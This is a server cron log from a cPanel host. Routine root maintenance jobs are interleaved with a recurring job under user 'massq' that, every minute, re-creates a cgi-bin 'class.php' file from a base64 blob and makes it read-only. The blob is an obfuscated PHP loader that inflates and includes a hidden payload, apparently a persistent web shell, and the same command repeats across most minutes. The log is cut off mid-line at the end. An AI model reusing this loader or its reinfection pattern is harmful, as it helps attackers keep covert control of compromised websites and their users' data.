Sep  9 06:25:01 server CROND[29779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:25:01 server CROND[29781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:25:01 server CROND[29783]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:26:01 server CROND[30600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:26:01 server CROND[30601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:26:01 server CROND[30602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:27:01 server CROND[30976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:27:01 server CROND[30977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:27:01 server CROND[30975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:27:01 server CROND[30978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:28:01 server CROND[31345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:28:01 server CROND[31346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:28:01 server CROND[31347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:29:01 server CROND[31810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:29:01 server CROND[31811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:29:01 server CROND[31812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:30:01 server CROND[32191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:30:01 server CROND[32193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:30:01 server CROND[32194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:30:01 server CROND[32196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:30:01 server CROND[32195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:30:01 server CROND[32197]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:30:01 server CROND[32199]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:30:01 server CROND[32200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:31:01 server CROND[571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:31:01 server CROND[572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:31:01 server CROND[573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:32:01 server CROND[966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:32:01 server CROND[967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:32:01 server CROND[968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:33:01 server CROND[1435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:33:01 server CROND[1436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:33:01 server CROND[1437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:34:01 server CROND[1899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:34:01 server CROND[1900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:34:01 server CROND[1901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:35:01 server CROND[2331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:35:01 server CROND[2333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:35:01 server CROND[2337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:35:01 server CROND[2339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:35:01 server CROND[2340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:35:01 server CROND[2341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:35:01 server CROND[2338]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 06:35:01 server CROND[2335]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:35:01 server CROND[2336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:36:01 server CROND[3200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:36:01 server CROND[3201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:36:01 server CROND[3202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:37:01 server CROND[3573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:37:01 server CROND[3574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:37:01 server CROND[3575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 